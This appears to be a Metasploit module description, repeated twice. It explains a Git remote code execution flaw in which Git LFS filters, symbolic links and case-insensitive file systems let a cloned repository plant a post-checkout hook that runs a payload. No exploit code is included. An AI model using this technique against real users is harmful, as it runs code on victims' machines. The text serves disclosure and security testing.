Git clients that support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems are vulnerable to remote code execution while cloning a repository. Usage of clean / smudge filters through Git LFS and a case-insensitive file system changes the checkout order of repository files which enables the placement of a Git hook in the .git/hooks directory. By default, this Metasploit module writes a post-checkout script so that the payload will automatically be executed upon checkout of the repository.

Git clients that support delay-capable clean / smudge
filters and symbolic links on case-insensitive file systems are
vulnerable to remote code execution while cloning a repository.
Usage of clean / smudge filters through Git LFS and a
case-insensitive file system changes the checkout order
of repository files which enables the placement of a Git hook
in the `.git/hooks` directory. By default, this module writes
a `post-checkout` script so that the payload will automatically
be executed upon checkout of the repository.
